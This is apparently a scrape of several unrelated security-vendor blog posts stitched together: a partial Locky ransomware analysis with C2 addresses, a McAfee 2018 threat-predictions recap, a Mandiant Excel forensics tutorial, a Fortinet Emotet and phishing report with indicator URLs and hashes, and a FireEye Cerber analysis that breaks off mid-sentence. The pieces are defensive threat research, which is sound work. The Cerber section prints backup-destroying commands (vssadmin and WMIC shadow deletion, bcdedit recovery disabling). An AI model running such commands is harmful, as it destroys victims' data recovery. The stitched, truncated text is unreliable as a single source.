The malware drops an image on the desktop of the current user: _
Locky_recover_instructions.bmp
Registry Artifacts
The malware creates the registry key HKCU\\Software\\Locky.
id is set to a unique identifier generated for the compromised system.
pubkey is set to a binary buffer that contains a public RSA key.
paytext is set to a binary buffer containing the recovery instructions.
completed is set to 1.
The malware changes the desktop background to a bitmap containing the ransom instructions.
HKCU\\Control Panel\\Desktop\\Wallpaper is set to: %CSIDL_DESKTOPDIRECTORY%\\_Locky_recover_instructions.bmp Network-Based Signatures Command and Control (CnC)
The malware communicates with the following hard-coded hosts using HTTP over TCP port 80.
The malware also uses a domain name generation algorithm as described below.
188.138.88.184 31.41.47.37 5.34.183.136 91.121.97.170 Beacon Packet The malware beacon builds a HTTP POST request to /main.php as shown in Figure 9.
The POST data is encoded using a custom algorithm.
Figure 9.
HTTP POST request polling packet (general packet structure)
Domain Generation Algorithm (DGA)
This sample contains a domain name generation algorithm that is based on the current month, day and year.
There are eight possible domains per day and the domains change on the first of the month and on even numbered days.
Figure 10 contains Python code to generate the eight possible domain names for the current date.
Figure 10.
Locky Domain Generation Algorithm [1] http://arstechnica.com/security/2016/03/kentucky-hospital-hit-by-ransomware-attack/ Subscribe to Blogs Get email updates as new blog posts are added.
By McAfee Enterprise on Jun 26, 2018 Time flies when you’re fighting cybercrime.
Now that’s not exactly how the phrase goes, but for us at McAfee, it’s hard to believe that we’re already almost halfway through 2018.
It seems like just yesterday we were predicting the types of cyberthreats we would see throughout this year with our McAfee Labs 2018 Threats Predictions Report .
From the machine learning arms race to the home becoming the ultimate storefront, it looked like we had a quite a year ahead of us.
But in reality, not all these predictions can to fruition.
And conversely, some unraveled in ways we didn’t imagine.
Let’s take a look at what predictions became reality, and what may still lay ahead for the cybersecurity industry in 2018.
The First Half of 2018 Ransomware Pivots to New Targets, New Objectives
The Prediction In November of last year, we predicted 2018 was going to be colored by ransomware attacks that were anything but ordinary.
These attacks could pivot away from traditional, individual extortion, and rather aim to sabotage or disrupt organizations.
The Verdict Ransomware attacks have seen a pivot, last year we witnessed the WannaCry ransomware attacks, which spread like wildfire to hundreds of thousands of devices, but this year’s ransomware attacks have reshaped their focus, completely moving away from the individual attack.
With disruption as an objective, these attacks managed to shut down both critical and personal services.
As of June 2018, an Ohio police and fire department , a Minnesota psychiatric provider , and even a family planning clinic have all been victims of a ransomware attack, proving threat actors will stop at almost nothing in order to cause a bit of chaos.
The Adversarial Machine Learning Arms Race Revs Up The Prediction Late last year, our Labs team discussed how the influence of machine learning will be felt on both sides of the equation – white hats will ramp up their AI/ML defenses, while cybercriminals will tap into the technology’s power to enact advanced attacks.
With machines working for anyone, an arms race would be fueled, and machine-supported actions would increase from both defenders and attackers.
The Verdict Machine learning and AI are very present in the arsenal of cyber defenders, as the industry has become fairly successful at applying AI to malware detection and user and entity behavior analytics (UEBA) by using deep neural networks and anomaly detection.
In fact, the use of this technology and application of human-machine teaming has been cited as a reason top talent will accept a job at a cybersecurity firm in the first place.
However, we have yet to see them actively leveraged by cybercriminals in attacks this year.
In lieu of AI, attacks in 2018 have rather used more traditional techniques, but for non-traditional purposes.
Just take Operation Honeybee as an example – the attacked leveraged malicious documents, which is typically known as an older attack vector, but set its sights on a unique type of target: humanitarian aid groups.
Honeybee also ladders back to a larger trend seen throughout the first half of this year – threats have new targets, and certainly new objectives.
When Your Home Becomes the Ultimate Storefront The Prediction The growth of smart home devices is nothing new, but the way they’re leveraged by corporations has changed over time.
We predicted 2018 to be no exception, companies creating these devices have powerful incentives to observe what consumers are doing in their homes and learn from their behaviors.
We foresaw these corporations exploring new ways to capture consumer data and adjusting terms and conditions in order to avoid getting fined.
The Verdict
The monetization and use of consumer data have been huge topics of discussion in 2018, but not because of the IoT industry yet.
Rather, the now infamous Facebook Cambridge Analytica incident stirred up quite the debate earlier this year around what companies are doing with consumer data.
In 2018, IoT devices are being used to spy – but not by corporations.
Cybercriminals are continuing to use vulnerable IoT devices to their advantage, swooping data and spying on families as a result of device vulnerabilities.
From smart TVs to baby monitors , the handful of IoT attacks in 2018 have proved that these devices still have ways to go when it comes to a solid security posture.
The Next Six Months Serverless Apps: New Opportunities for Friend and Foe The Prediction Cybercriminals will take advantage of convenient opportunities as they arise, which is precisely why our team predicted that threat actors will jump on serverless apps this year, using their greater granularity as a chance to increase the attack surface and steal data in transit across a network.
The Verdict As of now, major attacks against serverless apps have yet to be seen.
Mind you, it could soon become a reality, as researchers have recently figured out how to turn serverless apps into sources for crypto-mining.
These researchers are in the minority, as many IT professionals don’t really understand the new technology and all the cyber risk associated with it – which in itself can pose the biggest risk of all.
In fact, many security professionals lack the basic skills required to understand and secure this technology.
Inside Your Child’s Digital Backpack The Prediction Children are being introduced to the internet and tech devices earlier than ever before.
As exciting as that is, most kids are not properly trained on how to surf the web safely which can pose potential risks to their privacy.
This type of exposure led us to predict that in 2018 organizations will begin to collect and leverage digital content generated by children, and parents will be unaware of how much information is out there about their kid.
The Verdict
Though there has been no known incident yet in which a child’s information has been leveraged or compromised, some apps and gadgets have the potential to do so.
It was recently reported , that a new app being used by kids is allowing other users to track them by GPS.
According to McAfee research , children’s online gaming use could also put them at serious risk of a cyberattack.
Beyond these predictions, there is also a variety of other threats security professionals could be facing in the second half of 2018.
Just take VPNFilter , Hidden Cobra , and Gold Dragon for example – all of these attacks have proven that cybercriminals have come out into 2018 swinging.
They’re going after high-profile, high stakes industries, and are using deceptive and sly techniques in order to steal information from these targets.
Needless to say, the threat landscape is going to continue to change and evolve throughout 2018.
However, no matter how the rest of the year unfolds, we’re confident that cyber defenders are ready to take on any future threat that may come their way.
Hear from our leading researchers from McAfee Labs and Office of the CTO as they share more details into the threat landscape predictions for 2018 in our on-demand webinar .
To learn more about what McAfee is doing to help tackle today’s cyberthreats, be sure to follow us at @McAfee and @McAfee_Labs .
In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations.
As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts.
There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter.
In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining.
In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables.
For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset.
Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly.
Our data contains the following columns: Description – Event description User – User’s name User Principle Name – email address App – such as Office 365, Sharepoint, etc.
Location – Country Date IP address User agent (simplified) Organization – associated with IP address (as identified by O365) Figure 1: O365 data set LOOKUP for Data Enrichment It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source.
A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc.
This grants more information about each IP address that we can take into consideration in our analysis.
While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence , if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged.
We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address.
This information may be useful in identifying anomalous logons based on geographical location.
After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document: Figure 2: IP address enrichment We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE.
To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3).
We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet.
Figure 3: Enrichment columns VLOOKUP The traditional way to look up particular data in another array is by using the VLOOKUP function .
We will use the following formula to reference the “Latitude” values for a given IP address: Figure 4: VLOOKUP formula for Latitude There are four parts to this formula: Value to look up: This dictates what cell value we are going to look up more information for.
In this case, it is cell G2, which is the IP address.
Table array:
This defines the entire array in which we will look up our value and return data from.
The first column in the array must contain the value being looked up.
In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15.
In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.
Figure 5: VLOOKUP table array
Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
Column index number:
This identifies the column number from which to return data.
The first column is considered column 1.
We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2.
Range lookup (match type)
This part of the formula tells Excel what type of matching to perform on the value being looked up.
Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value.
We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted).
With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set.
To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet:
For Longitude: =
VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15, 3 ,0)
For Threat Intel: =
VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15, 4 ,0)
Bonus Option:
XLOOKUP The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet.
XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft.
In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column.
NOTE:
To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object.
Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon: Figure 6: Filter option To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula: Figure 7: XLOOKUP function for enrichment There are three parts to this XLOOKUP formula: Value to lookup: This dictates what cell value we are going to look up more information for.
In this case, it is cell G2, which is the IP address.
Array to look in: This will be the array of data in which Excel will search for the value to look up.
Excel does exact matching by default for XLOOKUP.
In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15.
In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15:
Figure 8: XLOOKUP array to look in Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
Array of data to return: This part will be the array of data from which Excel will return data.
In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up.
In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:
Figure 9: Data to be returned from ‘IP Address Intel’ sheet Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4.
Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity.
As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors.
Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data.
PIVOT!
PIVOT!
PIVOT!
One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function .
Location Anomalies Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in.
This type of technique may highlight activity where a user account logged in from a location which is unusual for them.
To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A.
Then, under the “Insert” tab in the ribbon, select “PivotTable”: Figure 10:
PivotTable selection This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11).
Since we selected our O365 log data set with Ctrl+A, this should be automatically populated.
It will also ask where we want to put the PivotTable (Step 2 in Figure 11).
In this instance, we created another sheet called “PivotTable 1” to place the PivotTable: Figure 11: PivotTable creation
Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data.
Remember, we are trying to determine the locations from which all users logged in.
We will want a row for each user and a sub-row for each location the user has logged in from.
Let’s add a count of how many times they logged in from each location as well.
We will use the “Date” field to do this for this example: Figure 12: PivotTable field definitions Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set.
We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area.
Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13.
Figure 13:
Adding min and max dates Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation.
For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”.
Figure 14:
PivotTable with suspicious locations and timeframe IP Address Anomalies Geolocation anomalies may not always be valuable.
However, using a similar configuration as the previous example, we can identify suspicious source IP addresses.
We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values.
Let’s also add the “App” field to Columns.
Our field settings and resulting table are displayed in Figure 15: Figure 15: PivotTable with IP addresses and apps With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into.
We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses.
While these are just a couple use cases, there are many ways to format and view evidence using PivotTables.
We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters.
We also recommend adjusting the PivotTable options , which can help reformat the table itself into a format that might fit requirements.
Conclusion These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques.
The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables.
LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts.
PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity.
Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in \"excelerating\" forensic analysis skills and efficiency.
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Many thanks to Fred Gutierrez and Geri Revay for their contributions to this blog.
FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows users Impact:
Compromised machines are under the control of the threat actor.
Stolen personally identifiable information (PII), credential theft, monetary loss, etc.
Severity Level: Medium Malicious email and phishing scams are usually topical and follow a pattern of current events.
They are usually crafted around calendar and/or trending issues as attackers realize that victims are interested in all things relevant to the moment.
Threat actors are aware that not all recipients will bite, but some will, hence the origination of the term “phishing.”
Threat actors often put in the least amount of work possible for a maximum return, sending out phishing emails to thousands of targets.
Even if less than one percent of victims respond, the return on investment is still significant due to the gain of personally identifiable information (PII) and/or establishing a foothold within an organization using stolen credentials, malware, or other means.
This blog highlights some examples we’ve encountered that may help users better spot suspicious emails.
Recent examples observed by FortiGuard Labs include emails related to tax season and the Ukrainian conflict, which reflect the timeliness of current and newsworthy events at the time of writing.
Tax Season Scams Tax season comes around annually, like other seasonal events or holidays.
Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation.
The following set of examples highlights two IRS/tax-themed scams.
The first is a malicious email pretending to originate from the U.S. Internal Revenue Service (IRS) containing a maliciously crafted Microsoft Excel file to deliver malware (Emotet).
The second is a phishing scam that asks a recipient to send personally identifiable information (PII) via written correspondence to a phone number.
IRS-themed email delivering
Emotet This attack starts with an IRS impersonation email that contains a ZIP attachment called “W-9 form.zip”.
The email is sent to the target, and a password is provided within the body of the email for convenient extraction.
The zipped attachment contains a file, “W-9 form.
XLM.”
The XLM extension is simply an Excel file that contains Excel 4.0 macros: For those not familiar with Form W-9 (Request for Taxpayer Identification Number and Certification), it is used by U.S. individuals to provide a correct taxpayer identification number (TIN) to payers (or brokers) who are required to file information returns with the IRS.
Red flags that this is a phishing scam include the non-capitalization of “assistant” and the incorrect usage of “Treasure” instead of “Treasury” in the signature body.
It should also be noted that the IRS does not communicate with U.S. taxpayers via email and instead uses the traditional postal service for all communications.
Analysis Upon observation, and in a similar fashion to our recent Emotet blog , the XLM file asks the user to enable macros upon opening the file.
The XLM file contains the following obfuscated Excel 4.0 macro: The document contains five hidden sheets: \"Vfrbuk1\", \"Sheet\", \"Lefasbor1\", \"EFALGV\", “Je1” and “Je2”.
Sheet EFALGV contains the main code, which uses the other sheets to compile commands.
It does this without user interaction, performing its behind-the-scenes magic to download a copy of Emotet from multiple remote locations: Another variation observed was sent to a State Attorney General’s office in the United States.
The “From” address is clearly seen in the email.
It was sent from an automotive tire shop located in Japan, which is most likely compromised and serves as an open mail relay: Microsoft takes action Microsoft announced in January 2022 that Excel 4.0 macros are disabled by default starting in Excel (Build 16.0.14427.10000).
The move came as no surprise because the feature is continuously abused by threat actors.
Other welcome news from Microsoft is the restricted usage of macros in Access, Excel, PowerPoint, Visio, and Word by default starting in April 2022 via the disablement of VBA macros (also abused by Emotet).
Based on the examples shown above, we can see this did not deter the attacker one bit from abusing Excel 4.0 macros.
Also, administrators are able to control the usage of Excel 4.0 macros via group policy settings, as well as cloud and ADMX policies.
This feature was introduced in July 2021.
For more details, please visit Microsoft’s tech community page - “ Restrict usage of Excel 4.0 (XLM) macros with new macro settings control ”.
It’s important to note that these potential victims were not targeted.
Emotet utilizes what is colloquially known in the industry as a “spray and pray” tactic to spread via malicious email campaigns.
Emotet is known to have delivered other malware variants in the past, with the most disruptive being ransomware.
Some ransomware as a service (RaaS) groups have specific policies to not deploy ransomware to government sectors, defense industry, and other critical infrastructures (hospitals, etc.
).
However, actual attacks are often carried out by RaaS affiliates who may or may not abide by the policy set by RaaS groups.
Request to fill and send a W-8 form via a fax number A different scam recently observed is an email with the subject line of: “NEW YEAR-NON-RESIDENT ALIEN TAX EXEMPTION UPDATE.”
This example contains an attachment, titled “W8-ENFORM.PDF.”
While not malicious, this PDF file is essentially a photocopy of the IRS W-8 form.
It is simply the W8 form from the IRS with an appended number added by the bad actors at the end of the document.
Red flags within the body of the email are the improper usage of grammar, typos, and punctuation: This scam uses social engineering verbiage to target nonresident aliens of the United States based on “official” records discovery.
However, in a weird miscue, the email contains a contradictory statement: “if you are a USA citizen and resident, this W8BEN-FORM is not meant for you…”
The email continues with instructions to reply back and to state on the attached form that the recipient is, indeed, a U.S. citizen/resident.
After this step is completed, the bad actor provides a different form to complete.
Once this form is filled out, all PII included on this form appears to be sent to an 806 phone number, which is the area code for the state of Texas.
As of the time of writing this number has an active fax service, which most likely is internet-based and can receive the content and distribute as an attachment to the malicious actor anywhere in the world.
It is possible, if there are a lot of respondents, they could be using OCR (Optical Image Recognition) image technology to store victim data in a database for later use.
It is important to again note that the IRS does not handle any official correspondence via email.
Official W-9 forms are available on the IRS Web page .
Official W8 forms can be found here .
Refugee war scams Spam commonly uses techniques such as current events (sports, tax season), using money as an incentive to click, playing on our natural greed (tax refunds, free money) and use the threat of running out of time to get us to take immediate action.
In the example below,  all three techniques are employed, albeit in a more unusual way – with an impassioned plea give money to others with the subject line “URGENT RESPONSE REQUIRED!
(UKRAINE).”
While the email does not contain a malicious attachment or link, the scammer is asking for a response.
This is likely to contain a follow up message for further information.
Perhaps the threat actor may engage in dialog with the victim and will ask the victim to send payment via wire transfer, third-party payment processors (such as Venmo, Zelle, etc.
), or via cryptocurrency.
The email address of the sender uses a gmail.com email address to likely evade spam filters.
Bitcoin Variation The screenshot below highlights a brazenly opportunistic scam with the subject line “URGENT DONATION RESPONSE FOR WAR REFUGEE CAMP IN UKRAINE.”
It purports to originate from a trusted organization, The United Nations.
Red flags are the forged email address of the UN High Commissioner “info@seca[.
]cam” in the “From” line, as well as some grammatical and punctuation errors.
Another red flag is that the seca[.
]cam domain was only registered a few weeks ago, on February 23, 2022.
Checking the Bitcoin wallet address, we can see that this is an active wallet that had its first transaction on September 29 th, 2021.
Since the first discovery of the campaign on the 7 th of March, several transactions have been made to this wallet.
Its current value at time of writing is $46.82 USD, with total transactions valued at $712.79 USD.
Assuming that this wallet was used for malicious purposes, it appears that various campaigns have netted the threat actor a modest profit.
However, it can also be safely surmised that this might not be the scammers only wallet.
As with the IRS, it is also important to mention is that the U.N. will never send unsolicited emails for donations.
For further details, please reference the U.N. Fraud Alert page.
Conclusion Emotet and the War in Ukraine With the current tragic situation in Ukraine unfolding, internal chatter within ransomware groups have surfaced.
Some ransomware groups side with Russia and other groups side with the West.
A well-known RaaS group (which used Emotet)—that we will not publicize for obvious reasons—has made a very strong statement that any attacks directed towards Russia will be met with a retaliatory act towards the West.
As the situation is fluid, and with potentially compromised government sectors likely being infected or targeted with ransomware at this very moment either for monetary or political reasons, this threat is not out of the question.
The point is that important sectors such as government agencies are no longer exempt from attacks, especially from Emotet threat actors, regardless of bias or opinion.
Phishing scams aren’t going anywhere.
They are a part of the threat landscape and will likely always be a component of an attackers’ arsenal.
This is because the return on investment for an attacker is very high.
A crafted email containing specific language designed to trick users into opening an attachment, following a link, responding with confidential or sensitive information, etc.
will always work on a percentage of targets.
This is because of the one major weakness security software cannot address: the human element.
Training programs constantly remind and teach users how to spot malicious email/phishing/spearphishing scams for a good reason.
Out of thousands of recipients, it only takes a few to respond to make it all worthwhile to an attacker.
And when the right person falls prey it can unleash a trove of information to the attacker that can be exploited for various purposes.
Although such scams are well known and publicized, they are still pervasive for one simple fact—they work and will continue to work for the foreseeable future.
Things to Consider: Think twice when enabling macros (they are disabled by default for good reason) especially in tax form XLM files.
The IRS will never send correspondence via email (including attachments) without first obtaining your consent.
IGNORE all unsolicited emails purporting to be from the IRS as they are not real.
The IRS has a dedicated webpage to report scams along with an FAQ page - Report Phishing | Internal Revenue Service (irs.gov) (Note: Scams mentioned in this blog have been sent to the IRS before publication)
The UN will also never send unsolicited emails for donations.
According to the UN website, “The United Nations strongly recommends that the recipients of solicitations, such as those described above exercise extreme caution in respect of such solicitations” Please see the U.N Fraud Alert page for further details.
IGNORE all unsolicited emails purporting to be from the UN as they are not real.
(Note: Scams mentioned in this blog have been sent to the UN before publication)
Unsolicited emails asking for donations of any kind via email (especially via cryptocurrency) is a red flag regardless of cause.
Responding to any email (even if it doesn’t contain a link or malicious attachment) from an untrusted sender will validate your email address to threat actors, either adding you to spam lists or subjecting to future attacks and scams.
Remember: Threat actors are playing the numbers game.
If they spam out 1,000 emails at a very minimal cost, and 10 people bite giving them valuable data, then the effort spent was well worth the return on investment.
Fortinet Coverage Fortinet customers are protected from this campaign by FortiGuard Web Filtering, AntiVirus, FortiMail, FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:
The malicious macro inside the Excel sample (Emotet) can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
FortiEDR detects both the Excel file and Emotet-related files as malicious based on behavior.
All relevant URIs to campaigns mentioned in the blog are blocked by the FortiGuard Web Filtering service.
The malicious Excel sample and associated downloaded files are detected as: “XML/Dloader.802!tr, “W32/Emotet.C!tr\", “W32/Emotet.
CV!tr”, and “W32/Emotet.1150!tr” are blocked by the FortiGuard AntiVirus service.
The IRS phishing email targeting nonresident aliens is detected as: IRS PDF/Fraud.10F1!phish Ukraine Related Scams URGENT RESPONSE REQUIRED!
(UKRAINE) campaign ecres231[.]servconfig[.
]com Is classified as a spam server and is blocked by our Web Filtering client.
URGENT DONATION RESPONSE FOR WAR REFUGEE CAMP IN UKRAINE campaign seca[.
]cam is classified as a spam sender and is blocked by the Web Filtering client.
Fortinet has multiple solutions designed to help train users to understand and detect phishing threats: The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.
In addition to these protections, we suggest that organizations also have their end users go through our FREE NSE training : NSE 1 – Information Security Awareness .
It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from various types of phishing attacks.
Indicators of Compromise URLs (Emotet) hxxp://piajimenez.com/Fox-C/dS4nv3spYd0DZsnwLqov/ hxxps://getlivetext.com/Pectinacea/AL5FVpjleCW/ hxxp://inopra.com/wp-includes/3zGnQGNCvIKuvrO7T/ hxxp://biomedicalpharmaegypt.com/sapbush/BKEaVq1zoyJssmUoe/ hxxp://janshabd.com/Zgye2/ hxxps://justforanime.com/stratose/PonwPXCl/ Sample SHA-256 involved in the attack: (Emotet) e5a1123894f01197d793d1fe6fa0ecc2bf6167a26ec56bab8c9db70a775ec6bc
6fa0c6858688e1c0cbc9072c9d371f2183e0bf0c30a1187453cbbe080e0167ca 06ac89a138858ed0f5eb5a30a43941b67697f8a3b47106170d879f3d51bc0e8d 9f2686b83570b7940c577013d522b96ba19e148dac33b6983267470be6a6064b 4c0ae17817c218c4b7973670f0458978efac4e6a67d1ec3abfb11ab587560d49 0758b3cde229886a039202120cda4485426c56eed3596be75fbce0d38986bf03 9a40dfc271fa3adf20e76cb6f7a27036c77adbe9882a8ef73bc977a0ea9c36ff feec12c64c8bf47ae20dc197ac1c5f0c087c89e9a72a054ba82a20bf6266b447 50351e6d541f57fccb0261514acb43cb905e4f6dde7e8716ce1b82df7d3c4867 91795e5b49eabd94c9d8b70067f68f45f9bf56e36ec9d3529576e13569074113 8ac29489154a4c39e74070063ce71bfada00cd9883466c1e28cd1e66cab1b56c
7d4897d33893f0835a982424af2f3eb77463dad1ef96fcb4021eaf15fd28c9e9 64d3d585c41577b0cfa2f9c63035a95ac785f9b5aeefeaba2490110c84aa7d00 809c990279928640c23ecc27d134f73967c7ec7269e90bb8d916f9e35b69654f 7536ed21e14ee026424d9c07edbcecb59706129d31f6be4e8788edd904df6a20 8f05a6ee54b89de50e84fcd9db9191f3dd80c701a436ab4c81a1309b2d649368 3a1f0cfbea0de5acca77595a6a5384c31859c255defa12449861e6755b41aa20 6516d944f93186e7d422e7b93a476d4b04db0ed279ba93c4854d42387347d012 9ca7f4e809a8d381fa0bc8e02627d597add2de4c5d57632cae422c59a1e971e2 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Ransomware is a common method of cyber extortion for financial gain that typically involves users being unable to interact with their files, applications or systems until a ransom is paid.
Accessibility of cryptocurrency such as Bitcoin has directly contributed to this ransomware model.
Based on data from FireEye Dynamic Threat Intelligence (DTI), ransomware activities have been rising fairly steadily since mid-2015.
On June 10, 2016, FireEye’s HX detected a Cerber ransomware campaign involving the distribution of emails with a malicious Microsoft Word document attached.
If a recipient were to open the document a malicious macro would contact an attacker-controlled website to download and install the Cerber family of ransomware.
Exploit Guard, a major new feature of FireEye Endpoint Security (HX) , detected the threat and alerted HX customers on infections in the field so that organizations could inhibit the deployment of Cerber ransomware.
After investigating further, the FireEye research team worked with security agency CERT-Netherlands, as well as web hosting providers who unknowingly hosted the Cerber installer, and were able to shut down that instance of the Cerber command and control (C2) within hours of detecting the activity.
With the attacker-controlled servers offline, macros and other malicious payloads configured to download are incapable of infecting users with ransomware.
FireEye hasn’t seen any additional infections from this attacker since shutting down the C2 server, although the attacker could configure one or more additional C2 servers and resume the campaign at any time.
This particular campaign was observed on six unique endpoints from three different FireEye endpoint security customers.
HX has proven effective at detecting and inhibiting the success of Cerber malware.
Attack Process
The Cerber ransomware attack cycle we observed can be broadly broken down into eight steps: Target receives and opens a Word document.
Macro in document is invoked to run PowerShell in hidden mode.
Control is passed to PowerShell, which connects to a malicious site to download the ransomware.
On successful connection, the ransomware is written to the disk of the victim.
PowerShell executes the ransomware.
The malware configures multiple concurrent persistence mechanisms by creating command processor, screensaver, startup.run and runonce registry entries.
The executable uses native Windows utilities such as WMIC and/or VSSAdmin to delete backups and shadow copies.
Files are encrypted and messages are presented to the user requesting payment.
Rather than waiting for the payload to be downloaded or started around stage four or five of the aforementioned attack cycle, Exploit Guard provides coverage for most steps of the attack cycle – beginning in this case at the second step.
The most common way to deliver ransomware is via Word documents with embedded macros or a Microsoft Office exploit.
FireEye Exploit Guard detects both of these attacks at the initial stage of the attack cycle.
PowerShell Abuse When the victim opens the attached Word document, the malicious macro writes a small piece of VBScript into memory and executes it.
This VBScript executes PowerShell to connect to an attacker-controlled server and download the ransomware (profilest.exe), as seen in Figure 1.
Figure 1.
Launch sequence of Cerber – the macro is responsible for invoking PowerShell and PowerShell downloads and runs the malware
It has been increasingly common for threat actors to use malicious macros to infect users because the majority of organizations permit macros to run from Internet-sourced office documents.
In this case we observed the macrocode calling PowerShell to bypass execution policies – and run in hidden as well as encrypted mode – with the intention that PowerShell would download the ransomware and execute it without the knowledge of the victim.
Further investigation of the link and executable showed that every few seconds the malware hash changed with a more current compilation timestamp and different appended data bytes – a technique often used to evade hash-based detection.
Cerber in Action Initial payload behavior Upon execution, the Cerber malware will check to see where it is being launched from.
Unless it is being launched from a specific location (%APPDATA%\\&#60GUID&#62), it creates a copy of itself in the victim's %APPDATA% folder under a filename chosen randomly and obtained from the %WINDIR%\\system32 folder.
If the malware is launched from the specific aforementioned folder and after eliminating any blacklisted filenames from an internal list, then the malware creates a renamed copy of itself to “%APPDATA%\\&#60GUID&#62” using a pseudo-randomly selected name from the “system32” directory.
The malware executes the malware from the new location and then cleans up after itself.
Shadow deletion As with many other ransomware families, Cerber will bypass UAC checks, delete any volume shadow copies and disable safe boot options.
Cerber accomplished this by launching the following processes using respective arguments: Vssadmin.exe \"delete shadows /all /quiet\" WMIC.exe \"shadowcopy delete\" Bcdedit.exe \"/set {default} recoveryenabled no\" Bcdedit.exe \"/set {default} bootstatuspolicy ignoreallfailures Coercion People may wonder why victims pay the ransom to the threat actors.
In some cases it is as simple as needing to get files back, but in other instances a victim may feel coerced or even intimidated.
We noticed these tactics being used in this campaign, where the victim is shown the message in Figure 2 upon being infected with Cerber.
Figure 2.
